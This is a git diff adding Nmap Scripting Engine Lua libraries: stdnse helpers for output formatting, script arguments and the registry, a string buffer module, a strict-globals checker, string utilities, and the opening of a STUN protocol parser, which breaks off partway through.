+ -- Make sure we have an indent value
+ indent = indent or {}
+
+ if(data['name']) then
+ if(data['warning'] and nmap.debugging() > 0) then
+ insert(output, format("%s%s%s (WARNING: %s)\n",
+ format_get_indent(indent), prefix,
+ data['name'], data['warning']))
+ else
+ insert(output, format("%s%s%s\n",
+ format_get_indent(indent), prefix,
+ data['name']))
+ end
+ elseif(data['warning'] and nmap.debugging() > 0) then
+ insert(output, format("%s%s(WARNING: %s)\n",
+ format_get_indent(indent), prefix,
+ data['warning']))
+ end
+
+ for i, value in ipairs(data) do
+ if(type(value) == 'table') then
+ -- Do a shallow copy of indent
+ local new_indent = {}
+ for _, v in ipairs(indent) do
+ insert(new_indent, v)
+ end
+
+ if(i ~= #data) then
+ insert(new_indent, false)
+ else
+ insert(new_indent, true)
+ end
+
+ insert(output, format_output_sub(status, value, new_indent))
+
+ elseif(type(value) == 'string') then
+ -- ensure it ends with a newline
+ if sub(value, -1) ~= "\n" then value = value .. "\n" end
+ for line in gmatch(value, "([^\r\n]-)\n") do
+ insert(output, format("%s %s%s\n",
+ format_get_indent(indent),
+ prefix, line))
+ end
+ end
+ end
+
+ return concat(output)
+end
+
+---This function is deprecated.
+--
+-- Please use structured NSE output instead: https://nmap.org/book/nse-api.html#nse-structured-output
+--
+-- Takes a table of output on the commandline and formats it for display to the
+-- user.
+--
+-- This is basically done by converting an array of nested tables into a
+-- string. In addition to numbered array elements, each table can have a 'name'
+-- and a 'warning' value. The 'name' will be displayed above the table, and
+-- 'warning' will be displayed, with a 'WARNING' tag, if and only if debugging
+-- is enabled.
+--
+-- Here's an example of a table:
+-- <code>
+-- local domains = {}
+-- domains['name'] = "DOMAINS"
+-- table.insert(domains, 'Domain 1')
+-- table.insert(domains, 'Domain 2')
+--
+-- local names = {}
+-- names['name'] = "NAMES"
+-- names['warning'] = "Not all names could be determined!"
+-- table.insert(names, "Name 1")
+--
+-- local response = {}
+-- table.insert(response, "Apple pie")
+-- table.insert(response, domains)
+-- table.insert(response, names)
+--
+-- return stdnse.format_output(true, response)
+-- </code>
+--
+-- With debugging enabled, this is the output:
+-- <code>
+-- Host script results:
+-- | smb-enum-domains:
+-- | Apple pie
+-- | DOMAINS
+-- | Domain 1
+-- | Domain 2
+-- | NAMES (WARNING: Not all names could be determined!)
+-- |_ Name 1
+-- </code>
+--
+--@param status A boolean value dictating whether or not the script succeeded.
+-- If status is false, and debugging is enabled, 'ERROR' is prepended
+-- to every line. If status is false and debugging is disabled, no output
+-- occurs.
+--@param data The table of output.
+--@param indent Used for indentation on recursive calls; should generally be set to
+-- nil when calling from a script.
+-- @return <code>nil</code>, if <code>data</code> is empty, otherwise a
+-- multiline string.
+function format_output(status, data, indent)
+ -- If data is nil, die with an error (I keep doing that by accident)
+ assert(data, "No data was passed to format_output()")
+
+ -- Don't bother if we don't have any data
+ if (#data == 0) then
+ return nil
+ end
+
+ local result = format_output_sub(status, data, indent)
+
+ -- Check for an empty result
+ if(result == nil or #result == "" or result == "\n" or result == "\n") then
+ return nil
+ end
+
+ return result
+end
+
+-- Get the value of a script argument, or nil if the script argument was not
+-- given. This works also for arguments given as top-level array values, like
+-- --script-args=unsafe; for these it returns the value 1.
+local function arg_value(argname)
+ -- First look for the literal script-arg name
+ -- as a key/value pair
+ if nmap.registry.args[argname] then
+ return nmap.registry.args[argname]
+ end
+ -- and alone, as a boolean flag
+ for _, v in ipairs(nmap.registry.args) do
+ if v == argname then
+ return 1
+ end
+ end
+
+ -- if scriptname.arg is not there, check "arg"
+ local shortname = match(argname, "%.([^.]*)$")
+ if shortname then
+ -- as a key/value pair
+ if nmap.registry.args[shortname] then
+ return nmap.registry.args[shortname]
+ end
+ -- and alone, as a boolean flag
+ for _, v in ipairs(nmap.registry.args) do
+ if v == shortname then
+ return 1
+ end
+ end
+ end
+ return nil
+end
+
+--- Parses the script arguments passed to the --script-args option.
+--
+-- @usage
+-- --script-args 'script.arg1=value,script.arg3,script-x.arg=value'
+-- local arg1, arg2, arg3 = get_script_args('script.arg1','script.arg2','script.arg3')
+-- => arg1 = "value"
+-- => arg2 = nil
+-- => arg3 = 1
+--
+-- --script-args 'displayall,unsafe,script-x.arg=value,script-y.arg=value'
+-- local displayall, unsafe = get_script_args('displayall','unsafe')
+-- => displayall = 1
+-- => unsafe = 1
+--
+-- --script-args 'dns-cache-snoop.mode=timed,dns-cache-snoop.domains={host1,host2}'
+-- local mode, domains = get_script_args('dns-cache-snoop.mode',
+-- 'dns-cache-snoop.domains')
+-- => mode = "timed"
+-- => domains = {"host1","host2"}
+--
+-- @param Arguments Script arguments to check.
+-- @return Arguments values.
+function get_script_args (...)
+ local args = {}
+
+ for i, set in ipairs({...}) do
+ if type(set) == "string" then
+ set = {set}
+ end
+ for _, test in ipairs(set) do
+ local v = arg_value(test)
+ if v then
+ args[i] = v
+ break
+ end
+ end
+ end
+
+ return unpack(args, 1, select("#", ...))
+end
+
+---Get the best possible hostname for the given host. This can be the target as given on
+-- the commandline, the reverse dns name, or simply the ip address.
+--@param host The host table (or a string that'll simply be returned).
+--@return The best possible hostname, as a string.
+function get_hostname(host)
+ if type(host) == "table" then
+ return host.targetname or ( host.name ~= '' and host.name ) or host.ip
+ else
+ return host
+ end
+end
+
+---Retrieve an item from the registry, checking if each sub-key exists. If any key doesn't
+-- exist, return nil.
+function registry_get(subkeys)
+ local registry = nmap.registry
+ local i = 1
+
+ while(subkeys[i]) do
+ if(not(registry[subkeys[i]])) then
+ return nil
+ end
+
+ registry = registry[subkeys[i]]
+
+ i = i + 1
+ end
+
+ return registry
+end
+
+--Check if the given element exists in the registry. If 'key' is nil, it isn't checked.
+function registry_exists(subkeys, key, value)
+ local subkey = registry_get(subkeys)
+
+ if(not(subkey)) then
+ return false
+ end
+
+ for k, v in pairs(subkey) do
+ if((key == nil or key == k) and (v == value)) then -- TODO: if 'value' is a table, this fails
+ return true
+ end
+ end
+
+ return false
+end
+
+---Add an item to an array in the registry, creating all sub-keys if necessary.
+--
+-- For example, calling:
+-- <code>registry_add_array({'192.168.1.100', 'www', '80', 'pages'}, 'index.html')</code>
+-- Will create nmap.registry['192.168.1.100'] as a table, if necessary, then add a table
+-- under the 'www' key, and so on. 'pages', finally, is treated as an array and the value
+-- given is added to the end.
+function registry_add_array(subkeys, value, allow_duplicates)
+ local registry = nmap.registry
+ local i = 1
+
+ -- Unless the user wants duplicates, make sure there aren't any
+ if(allow_duplicates ~= true) then
+ if(registry_exists(subkeys, nil, value)) then
+ return
+ end
+ end
+
+ while(subkeys[i]) do
+ if(not(registry[subkeys[i]])) then
+ registry[subkeys[i]] = {}
+ end
+ registry = registry[subkeys[i]]
+ i = i + 1
+ end
+
+ -- Make sure the value isn't already in the table
+ for _, v in pairs(registry) do
+ if(v == value) then
+ return
+ end
+ end
+ insert(registry, value)
+end
+
+---Similar to <code>registry_add_array</code>, except instead of adding a value to the
+-- end of an array, it adds a key:value pair to the table.
+function registry_add_table(subkeys, key, value, allow_duplicates)
+ local registry = nmap.registry
+ local i = 1
+
+ -- Unless the user wants duplicates, make sure there aren't any
+ if(allow_duplicates ~= true) then
+ if(registry_exists(subkeys, key, value)) then
+ return
+ end
+ end
+
+ while(subkeys[i]) do
+ if(not(registry[subkeys[i]])) then
+ registry[subkeys[i]] = {}
+ end
+ registry = registry[subkeys[i]]
+ i = i + 1
+ end
+
+ registry[key] = value
+end
+
+
+--- This function allows you to create worker threads that may perform
+-- network tasks in parallel with your script thread.
+--
+-- Any network task (e.g. <code>socket:connect(...)</code>) will cause the
+-- running thread to yield to NSE. This allows network tasks to appear to be
+-- blocking while being able to run multiple network tasks at once.
+-- While this is useful for running multiple separate scripts, it is
+-- unfortunately difficult for a script itself to perform network tasks in
+-- parallel. In order to allow scripts to also have network tasks running in
+-- parallel, we provide this function, <code>stdnse.new_thread</code>, to
+-- create a new thread that can perform its own network related tasks
+-- in parallel with the script.
+--
+-- The script launches the worker thread by calling the <code>new_thread</code>
+-- function with the parameters:
+-- * The main Lua function for the script to execute, similar to the script action function.
+-- * The variable number of arguments to be passed to the worker's main function.
+--
+-- The <code>stdnse.new_thread</code> function will return two results:
+-- * The worker thread's base (main) coroutine (useful for tracking status).
+-- * A status query function (described below).
+--
+-- The status query function shall return two values:
+-- * The result of coroutine.status using the worker thread base coroutine.
+-- * The error object thrown that ended the worker thread or <code>nil</code> if no error was thrown. This is typically a string, like most Lua errors.
+--
+-- Note that NSE discards all return values of the worker's main function. You
+-- must use function parameters, upvalues or environments to communicate
+-- results.
+--
+-- You should use the condition variable (<code>nmap.condvar</code>)
+-- and mutex (<code>nmap.mutex</code>) facilities to coordinate with your
+-- worker threads. Keep in mind that Nmap is single threaded so there are
+-- no (memory) issues in synchronization to worry about; however, there
+-- is resource contention. Your resources are usually network
+-- bandwidth, network sockets, etc. Condition variables are also useful if the
+-- work for any single thread is dynamic. For example, a web server spider
+-- script with a pool of workers will initially have a single root html
+-- document. Following the retrieval of the root document, the set of
+-- resources to be retrieved (the worker's work) will become very large
+-- (an html document adds many new hyperlinks (resources) to fetch).
+--@name new_thread
+--@class function
+--@param main The main function of the worker thread.
+--@param ... The arguments passed to the main worker thread.
+--@return co The base coroutine of the worker thread.
+--@return info A query function used to obtain status information of the worker.
+--@usage
+--local requests = {"/", "/index.html", --[[ long list of objects ]]}
+--
+--function thread_main (host, port, responses, ...)
+-- local condvar = nmap.condvar(responses);
+-- local what = {n = select("#", ...), ...};
+-- local allReqs = nil;
+-- for i = 1, what.n do
+-- allReqs = http.pGet(host, port, what[i], nil, nil, allReqs);
+-- end
+-- local p = assert(http.pipeline(host, port, allReqs));
+-- for i, response in ipairs(p) do responses[#responses+1] = response end
+-- condvar "signal";
+--end
+--
+--function many_requests (host, port)
+-- local threads = {};
+-- local responses = {};
+-- local condvar = nmap.condvar(responses);
+-- local i = 1;
+-- repeat
+-- local j = math.min(i+10, #requests);
+-- local co = stdnse.new_thread(thread_main, host, port, responses,
+-- table.unpack(requests, i, j));
+-- threads[co] = true;
+-- i = j+1;
+-- until i > #requests;
+-- repeat
+-- condvar "wait";
+-- for thread in pairs(threads) do
+-- if coroutine.status(thread) == "dead" then threads[thread] = nil end
+-- end
+-- until next(threads) == nil;
+-- return responses;
+--end
+do end -- no function here, see nse_main.lua
+
+--- Returns the base coroutine of the running script.
+--
+-- A script may be resuming multiple coroutines to facilitate its own
+-- collaborative multithreading design. Because there is a "root" or "base"
+-- coroutine that lets us determine whether the script is still active
+-- (that is, the script did not end, possibly due to an error), we provide
+-- this <code>stdnse.base</code> function that will retrieve the base
+-- coroutine of the script. This base coroutine is the coroutine that runs
+-- the action function.
+--
+-- The base coroutine is useful for many reasons but here are some common
+-- uses:
+-- * We want to attribute the ownership of an object (perhaps a network socket) to a script.
+-- * We want to identify if the script is still alive.
+--@name base
+--@class function
+--@return coroutine Returns the base coroutine of the running script.
+do end -- no function here, see nse_main.lua
+
+--- The Lua Require Function with errors silenced.
+--
+-- See the Lua manual for description of the require function. This modified
+-- version allows the script to quietly fail at loading if a required
+-- library does not exist.
+--
+--@name silent_require
+--@class function
+--@usage stdnse.silent_require "openssl"
+do end -- no function here, see nse_main.lua
+
+
+--- Module function that mimics some behavior of Lua 5.1 module function.
+--
+-- This convenience function returns a module environment to set the _ENV
+-- upvalue. The _NAME, _PACKAGE, and _M fields are set as in the Lua 5.1
+-- version of this function. Each option function (e.g. stdnse.seeall)
+-- passed is run with the new environment, in order.
+--
+-- @see stdnse.seeall
+-- @see strict
+-- @usage
+-- _ENV = stdnse.module(name, stdnse.seeall, require "strict");
+-- @param name The module name.
+-- @param ... Option functions which modify the environment of the module.
+function module (name, ...)
+ local env = {};
+ env._NAME = name;
+ env._PACKAGE = match(name, "(.+)%.[^.]+$");
+ env._M = env;
+ local mods = pack(...);
+ for i = 1, mods.n do
+ mods[i](env);
+ end
+ return env;
+end
+
+--- Change environment to load global variables.
+--
+-- Option function for use with stdnse.module. It is the same
+-- as package.seeall from Lua 5.1.
+--
+-- @see stdnse.module
+-- @usage
+-- _ENV = stdnse.module(name, stdnse.seeall);
+-- @param env Environment to change.
+function seeall (env)
+ local m = getmetatable(env) or {};
+ m.__index = _G;
+ setmetatable(env, m);
+end
+
+--- Return a table that keeps elements in order of insertion.
+--
+-- The pairs function, called on a table returned by this function, will yield
+-- elements in the order they were inserted. This function is meant to be used
+-- to construct output tables returned by scripts.
+--
+-- Reinserting a key that is already in the table does not change its position
+-- in the order. However, removing a key by assigning to <code>nil</code> and
+-- then doing another assignment will move the key to the end of the order.
+--
+-- @return An ordered table.
+function output_table ()
+ local t = {}
+ local order = {}
+ local function iterator ()
+ for i, key in ipairs(order) do
+ coroutine.yield(key, t[key])
+ end
+ end
+ local mt = {
+ __newindex = function (_, k, v)
+ if t[k] == nil and v ~= nil then
+ -- New key?
+ insert(order, k)
+ elseif v == nil then
+ -- Deleting an existing key?
+ for i, key in ipairs(order) do
+ if key == k then
+ remove(order, i)
+ break
+ end
+ end
+ end
+ rawset(t, k, v)
+ end,
+ __index = t,
+ __pairs = function (_)
+ return coroutine.wrap(iterator)
+ end,
+ __call = function (_) -- hack to mean "not_empty?"
+ return not not next(order)
+ end,
+ __len = function (_)
+ return #order
+ end
+ }
+ return setmetatable({}, mt)
+end
+
+--- A pretty printer for Lua objects.
+--
+-- Takes an object (usually a table) and prints it using the
+-- printer function. The printer function takes a sole string
+-- argument and will be called repeatedly.
+--
+-- @param obj The object to pretty print.
+-- @param printer The printer function.
+function pretty_printer (obj, printer)
+ if printer == nil then printer = print end
+
+ local function aux (obj, spacing)
+ local t = type(obj)
+ if t == "table" then
+ printer "{\n"
+ for k, v in pairs(obj) do
+ local spacing = spacing.."\t"
+ printer(spacing)
+ printer "["
+ aux(k, spacing)
+ printer "] = "
+ aux(v, spacing)
+ printer ",\n"
+ end
+ printer(spacing.."}")
+ elseif t == "string" then
+ printer(format("%q", obj))
+ else
+ printer(tostring(obj))
+ end
+ end
+
+ return aux(obj, "")
+end
+
+--- Returns a conservative timeout for a host
+--
+-- If the host parameter is a NSE host table with a <code>times.timeout</code>
+-- attribute, then the return value is the host timeout scaled according to the
+-- max_timeout. The scaling factor is defined by a linear formula such that
+-- (max_timeout=8000, scale=2) and (max_timeout=1000, scale=1)
+--
+-- @param host The host object to base the timeout on. If this is anything but
+-- a host table, the max_timeout is returned.
+-- @param max_timeout The maximum timeout in milliseconds. This is the default
+-- timeout used if there is no host.times.timeout. Default: 8000
+-- @param min_timeout The minimum timeout in milliseconds that will be
+-- returned. Default: 1000
+-- @return The timeout in milliseconds, suitable for passing to set_timeout
+-- @usage
+-- assert(host.times.timeout == 1.3)
+-- assert(get_timeout() == 8000)
+-- assert(get_timeout(nil, 5000) == 5000)
+-- assert(get_timeout(host) == 2600)
+-- assert(get_timeout(host, 10000, 3000) == 3000)
+function get_timeout(host, max_timeout, min_timeout)
+ max_timeout = max_timeout or 8000
+ local t = type(host) == "table" and host.times and host.times.timeout
+ if not t then
+ return max_timeout
+ end
+ t = t * (max_timeout + 6000) / 7
+ min_timeout = min_timeout or 1000
+ if t < min_timeout then
+ return min_timeout
+ elseif t > max_timeout then
+ return max_timeout
+ end
+ return t
+end
+
+return _ENV;
diff --git a/nselib/strbuf.lua b/nselib/strbuf.lua
new file mode 100644
index 0000000..4bd9cbc
--- /dev/null
+++ b/nselib/strbuf.lua
@@ -0,0 +1,141 @@
+---
+-- String buffer facilities.
+--
+-- Lua's string operations are very flexible and offer an easy-to-use way to
+-- manipulate strings. Concatenation using the <code>..</code> operator is such
+-- an operation. The drawback of the built-in API however is the way it handles
+-- concatenation of many string values. Since strings in Lua are immutable
+-- values, each time you concatenate two strings both get copied into the
+-- result string.
+--
+-- The <code>strbuf</code> module offers a workaround for this problem, while
+-- maintaining the nice syntax. This is accomplished by overloading the
+-- concatenation operator (<code>..</code>), the equality operator (<code>==</code>) and the <code>tostring</code>
+-- operator. A string buffer is created by passing a string to
+-- <code>strbuf.new</code>. Afterwards you can append to the string buffer,
+-- or compare two string buffers for equality just as you would do with normal
+-- strings.
+--
+-- When looking at the details there are some more restrictions/oddities: The
+-- concatenation operator requires its left-hand value to be a string buffer.
+-- Therefore, if you want to prepend a string to a given string buffer you have
+-- to create a new string buffer out of the string you want to prepend. The
+-- string buffer's <code>tostring</code> operator concatenates the strings
+-- inside the buffer using newlines by default, since this appears to be the
+-- separator used most often.
+--
+-- Example usage:
+-- <code>
+-- local buf = strbuf.new()
+-- local buf2 = strbuf.new('hello')
+-- buf = buf .. 'string'
+-- buf = buf .. 'data'
+-- print(buf) -- default separator is a newline
+-- print(strbuf.dump(buf)) -- no separator
+-- print(strbuf.dump(buf, ' ')) -- separated by spaces
+-- strbuf.clear(buf)
+-- </code>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+-- DEPENDENCIES --
+
+local stdnse = require "stdnse"
+local table = require "table"
+local getmetatable = getmetatable;
+local setmetatable = setmetatable;
+local type = type;
+local error = error;
+local ipairs = ipairs;
+local pairs = pairs;
+local concat = table.concat;
+
+_ENV = stdnse.module("strbuf", stdnse.seeall)
+
+-- String buffer functions. Concatenation is not efficient in
+-- lua as strings are immutable. If a large amount of '..' sequential
+-- operations are needed a string buffer should be used instead
+-- e.g. for i = 1, 10 do s = s..i end
+
+--- Dumps the string buffer as a string.
+--
+-- The second parameter is used as a delimiter between the strings stored inside
+-- the string buffer.
+-- @name dump
+-- @class function
+-- @param sbuf String buffer to dump.
+-- @param delimiter String to separate the buffer's contents.
+-- @return Concatenated string result.
+dump = concat;
+
+--- Appends a string to a string buffer.
+-- @param sbuf String buffer.
+-- @param s String to append.
+-- @return <code>sbuf</code>.
+function concatbuf(sbuf, s)
+ if type(s) == "string" then
+ sbuf[#sbuf+1] = s;
+ elseif getmetatable(s) == getmetatable(sbuf) then
+ for _,v in ipairs(s) do
+ sbuf[#sbuf+1] = v;
+ end
+ else
+ error("bad #2 operand to strbuf concat operation", 2);
+ end
+ return sbuf;
+end
+
+--- Determines if the two string buffers are equal. Two buffers are equal
+-- if they are the same or if they have equivalent contents.
+-- @param sbuf1 String buffer one.
+-- @param sbuf2 String buffer two.
+-- @return True if equal, false otherwise.
+function eqbuf(sbuf1, sbuf2)
+ if getmetatable(sbuf1) ~= getmetatable(sbuf2) then
+ error("one or more operands is not a string buffer", 2);
+ elseif #sbuf1 ~= #sbuf2 then
+ return false;
+ else
+ for i = 1, #sbuf1 do
+ if sbuf1[i] ~= sbuf2[i] then
+ return false;
+ end
+ end
+ return true;
+ end
+end
+
+--- Clears a string buffer.
+-- @param sbuf String buffer.
+function clear(sbuf)
+ for k in pairs(sbuf) do
+ sbuf[k] = nil;
+ end
+end
+
+--- Returns the string buffer as a string. The delimiter used is a newline.
+-- @param sbuf String buffer.
+-- @return String made from concatenating the buffer.
+function tostring(sbuf)
+ return concat(sbuf, "\n");
+end
+
+local mt = {
+ __concat = concatbuf,
+ __tostring = tostring,
+ __eq = eqbuf,
+ __index = _M,
+};
+
+--- Create a new string buffer.
+--
+-- The optional arguments are added to the string buffer. The result of adding
+-- non-strings is undefined. The <code>equals</code> and <code>tostring</code>
+-- operators for string buffers are overloaded to be <code>eqbuf</code> and
+-- <code>tostring</code> respectively.
+-- @param ... Strings to add to the buffer initially.
+-- @return String buffer.
+function new(...)
+ return setmetatable({...}, mt);
+end
+
+return _ENV;
diff --git a/nselib/strict.lua b/nselib/strict.lua
new file mode 100644
index 0000000..c53449a
--- /dev/null
+++ b/nselib/strict.lua
@@ -0,0 +1,88 @@
+---
+-- Strict declared global library. Checks for undeclared global variables
+-- during runtime execution.
+--
+-- This module places the <code>strict</code> function in the global
+-- environment. The strict function allows a script to add runtime checking so
+-- that undeclared globals cause an error to be raised. This is useful for
+-- finding accidental use of globals when local was intended.
+--
+-- A global variable is considered "declared" if the script makes an assignment
+-- to the global name (even <code>nil</code>) in the file scope.
+--
+-- @class module
+-- @name strict
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local debug = require "debug"
+
+local error = error;
+local getmetatable = getmetatable;
+local rawset = rawset;
+local rawget = rawget;
+local setmetatable = setmetatable;
+local type = type;
+
+local getinfo = debug.getinfo;
+
+_ENV = {};
+
+local function what ()
+ local d = getinfo(3, "S");
+ return d and d.what or "C";
+end
+
+--- The strict function.
+--
+-- This function adds runtime checking to the global environment for use of
+-- undeclared globals. A global is 'undeclared' if not assigned in the file
+-- (script) scope previously. An error will be raised on use of an undeclared
+-- global.
+--
+-- This function should be passed last to stdnse.module in order to allow
+-- other environment option functions (e.g. stdnse.seeall) to change the
+-- environment first. This is important for allowing globals outside the
+-- library (in _G) to be indexed.
+--
+-- @see stdnse.module
+-- @usage
+-- _ENV = stdnse.module(name, require "strict");
+-- @param env The environment to modify.
+local function strict (env)
+ local mt = getmetatable(env) or setmetatable(env, {}) and getmetatable(env);
+ local _newindex, _index = mt.__newindex, mt.__index;
+
+ mt.__declared = {};
+
+ function mt.__newindex (t, n, v)
+ if type(_newindex) == "function" then
+ _newindex(t, n, v); -- hook it
+ end
+ if not mt.__declared[n] then
+ local w = what();
+ if w ~= "main" and w ~= "C" then
+ error("assign to undeclared variable '"..n.."'", 2);
+ end
+ mt.__declared[n] = true;
+ end
+ rawset(t, n, v);
+ end
+
+ function mt.__index (t, n)
+ if type(_index) == "function" then
+ local v = _index(t, n); -- hook it
+ if v ~= nil then return v end
+ elseif _index ~= nil then
+ local v = _index[n];
+ if v ~= nil then return v end
+ end
+ if not mt.__declared[n] and what() ~= "C" then
+ error("variable '"..n.."' is not declared", 2);
+ end
+ return rawget(t, n);
+ end
+
+ return env;
+end
+
+return strict;
diff --git a/nselib/stringaux.lua b/nselib/stringaux.lua
new file mode 100644
index 0000000..96417b1
--- /dev/null
+++ b/nselib/stringaux.lua
@@ -0,0 +1,140 @@
+--- Auxiliary functions for string manipulation
+--
+-- @author Daniel Miller
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name stringaux
+
+local assert = assert
+local type = type
+
+local string = require "string"
+local byte = string.byte
+local find = string.find
+local match = string.match
+local sub = string.sub
+local gsub = string.gsub
+local format = string.format
+local lower = string.lower
+local upper = string.upper
+
+local table = require "table"
+local concat = table.concat
+
+local _ENV = {}
+
+--- Join a list of strings with a separator string.
+--
+-- This is Lua's <code>table.concat</code> function with the parameters
+-- swapped for coherence.
+-- @usage
+-- stringaux.strjoin(", ", {"Anna", "Bob", "Charlie", "Dolores"})
+-- --> "Anna, Bob, Charlie, Dolores"
+-- @param delimiter String to delimit each element of the list.
+-- @param list Array of strings to concatenate.
+-- @return Concatenated string.
+function strjoin(delimiter, list)
+ assert(type(delimiter) == "string" or type(delimiter) == nil, "delimiter is of the wrong type! (did you get the parameters backward?)")
+
+ return concat(list, delimiter);
+end
+
+--- Split a string at a given delimiter, which may be a pattern.
+--
+-- If you want to loop over the resulting values, consider using string.gmatch instead.
+-- @usage
+-- stringaux.strsplit(",%s*", "Anna, Bob, Charlie, Dolores")
+-- --> { "Anna", "Bob", "Charlie", "Dolores" }
+-- @param pattern Pattern that separates the desired strings.
+-- @param text String to split.
+-- @return Array of substrings without the separating pattern.
+-- @see string.gmatch
+function strsplit(pattern, text)
+ local list, pos = {}, 1;
+
+ assert(pattern ~= "", "delimiter matches empty string!");
+
+ while true do
+ local first, last = find(text, pattern, pos);
+ if first then -- found?
+ list[#list+1] = sub(text, pos, first-1);
+ pos = last+1;
+ else
+ list[#list+1] = sub(text, pos);
+ break;
+ end
+ end
+ return list;
+end
+
+-- This pattern must match the percent sign '%' since it is used in
+-- escaping.
+local FILESYSTEM_UNSAFE = "[^a-zA-Z0-9._-]"
+local function _escape_helper (c)
+ return format("%%%02x", byte(c))
+end
+---
+-- Escape a string to remove bytes and strings that may have meaning to
+-- a filesystem, such as slashes.
+--
+-- All bytes are escaped, except for:
+-- * alphabetic <code>a</code>-<code>z</code> and <code>A</code>-<code>Z</code>
+-- * digits 0-9
+-- * <code>.</code> <code>_</code> <code>-</code>
+-- In addition, the strings <code>"."</code> and <code>".."</code> have
+-- their characters escaped.
+--
+-- Bytes are escaped by a percent sign followed by the two-digit
+-- hexadecimal representation of the byte value.
+-- * <code>filename_escape("filename.ext") --> "filename.ext"</code>
+-- * <code>filename_escape("input/output") --> "input%2foutput"</code>
+-- * <code>filename_escape(".") --> "%2e"</code>
+-- * <code>filename_escape("..") --> "%2e%2e"</code>
+-- This escaping is somewhat like that of JavaScript
+-- <code>encodeURIComponent</code>, except that fewer bytes are
+-- whitelisted, and it works on bytes, not Unicode characters or UTF-16
+-- code points.
+function filename_escape(s)
+ if s == "." then
+ return "%2e"
+ elseif s == ".." then
+ return "%2e%2e"
+ else
+ return (gsub(s, FILESYSTEM_UNSAFE, _escape_helper))
+ end
+end
+
+--- Returns the case insensitive pattern of given parameter
+--
+-- Useful while doing case insensitive pattern match using string library.
+-- https://stackoverflow.com/questions/11401890/case-insensitive-lua-pattern-matching/11402486#11402486
+--
+-- @usage stringaux.ipattern("user")
+-- --> "[uU][sS][eE][rR]"
+-- @param pattern The string
+-- @return A case insensitive patterned string
+function ipattern(pattern)
+ local in_brackets = false
+ -- Find an optional '%' (group 2) followed by any character (group 3)
+ local p = gsub(pattern, "(%%?)(.)", function(percent, letter)
+ if percent ~= "" then
+ -- It's a %-escape, return as-is
+ return nil
+ elseif not match(letter, "%a") then
+ -- It's not alpha. Update bracket status and return as-is
+ if letter == "[" then
+ in_brackets = true
+ elseif letter == "]" then
+ in_brackets = false
+ end
+ return nil
+ elseif not in_brackets then
+ -- Else, return a case-insensitive character class of the matched letter
+ return format("[%s%s]", lower(letter), upper(letter))
+ end
+ end)
+
+ return p
+end
+
+return _ENV
diff --git a/nselib/stun.lua b/nselib/stun.lua
new file mode 100644
index 0000000..438cdbc
--- /dev/null
+++ b/nselib/stun.lua
@@ -0,0 +1,388 @@
+---
+-- A library that implements the basics of the STUN protocol (Session
+-- Traversal Utilities for NAT) per RFC3489 and RFC5389. A protocol
+-- overview is available at http://en.wikipedia.org/wiki/STUN.
+--
+-- @args stun.mode Mode container to use. Supported containers: "modern"
+-- (default) or "classic"
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local ipOps = require "ipOps"
+local match = require "match"
+local rand = require "rand"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("stun", stdnse.seeall)
+
+-- The supported request types
+MessageType = {
+ BINDING_REQUEST = 0x0001,
+ BINDING_RESPONSE = 0x0101,
+}
+
+-- The header used in both request and responses
+Header = {
+
+ -- the header size in bytes
+ size = 20,
+
+ --- creates a new instance of Header
+ -- @param type number the request/response type
+ -- @param trans_id string the 128-bit transaction id
+ -- @param length number the packet length
+ -- @return new instance of Header
+ -- @name Header.new
+ new = function(self, type, trans_id, length)
+ local o = { type = type, trans_id = trans_id, length = length or 0 }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- parses an opaque string and creates a new Header instance
+ -- @param data opaque string
+ -- @return new instance of Header
+ -- @name Header.parse
+ parse = function(data)
+ local header = Header:new()
+ header.type, header.length, header.trans_id = string.unpack(">I2I2 c16", data)
+ return header
+ end,
+
+ -- converts the header to an opaque string
+ -- @return string containing the header instance
+ __tostring = function(self)
+ return string.pack(">I2I2", self.type, self.length) .. self.trans_id
+ end,
+}
+
+Request = {
+
+ -- The binding request
+ Bind = {
+
+ --- Creates a new Bind request
+ -- @param trans_id string containing the 128 bit transaction ID
+ -- @return new instance of the Bind request
+ -- @name Request.Bind.new
+ new = function(self, trans_id)
+ local o = {
+ header = Header:new(MessageType.BINDING_REQUEST, trans_id),
+ attributes = {}
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- converts the instance to an opaque string
+ -- @return string containing the Bind request as string
+ __tostring = function(self)
+ local data = ""
+ for _, attrib in ipairs(self.attributes) do
+ data = data .. tostring(attrib)
+ end
+ self.header.length = #data
+ return tostring(self.header) .. data
+ end,
+ }
+
+}
+
+-- The attribute class
+Attribute = {
+
+ MAPPED_ADDRESS = 0x0001,
+ RESPONSE_ADDRESS = 0x0002,
+ CHANGE_REQUEST = 0x0003,
+ SOURCE_ADDRESS = 0x0004,
+ CHANGED_ADDRESS = 0x0005,
+ USERNAME = 0x0006,
+ PASSWORD = 0x0007,
+ MESSAGE_INTEGRITY = 0x0008,
+ ERROR_CODE = 0x0009,
+ UNKNOWN_ATTRIBUTES = 0x000a,
+ REFLECTED_FROM = 0x000b,
+ SERVER = 0x8022,
+
+ --- creates a new attribute instance
+ -- @param type number containing the attribute type
+ -- @param data string containing the attribute value
+ -- @return instance of attribute
+ -- @name Attribute.new
+ new = function(self, type, data)
+ local o = {
+ type = type,
+ length = (data and #data or 0),
+ data = data,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- parses a string and creates an Attribute instance
+ -- @param data string containing the raw attribute
+ -- @return new attribute instance
+ -- @name Attribute.parse
+ parse = function(data)
+ local attr = Attribute:new()
+ local pos = 1
+
+ attr.type, attr.length, pos = string.unpack(">I2I2", data, pos)
+
+ local function parseAddress(data, pos)
+ local addr = {}
+ addr.family, addr.port, addr.ip, pos = string.unpack(">xBI2c4", data, pos)
+ addr.ip = ipOps.str_to_ip(addr.ip)
+ return addr
+ end
+
+ if ( ( attr.type == Attribute.MAPPED_ADDRESS ) or
+ ( attr.type == Attribute.RESPONSE_ADDRESS ) or
+ ( attr.type == Attribute.SOURCE_ADDRESS ) or
+ ( attr.type == Attribute.CHANGED_ADDRESS ) ) then
+ if ( attr.length ~= 8 ) then
+ stdnse.debug2("Incorrect attribute length")
+ end
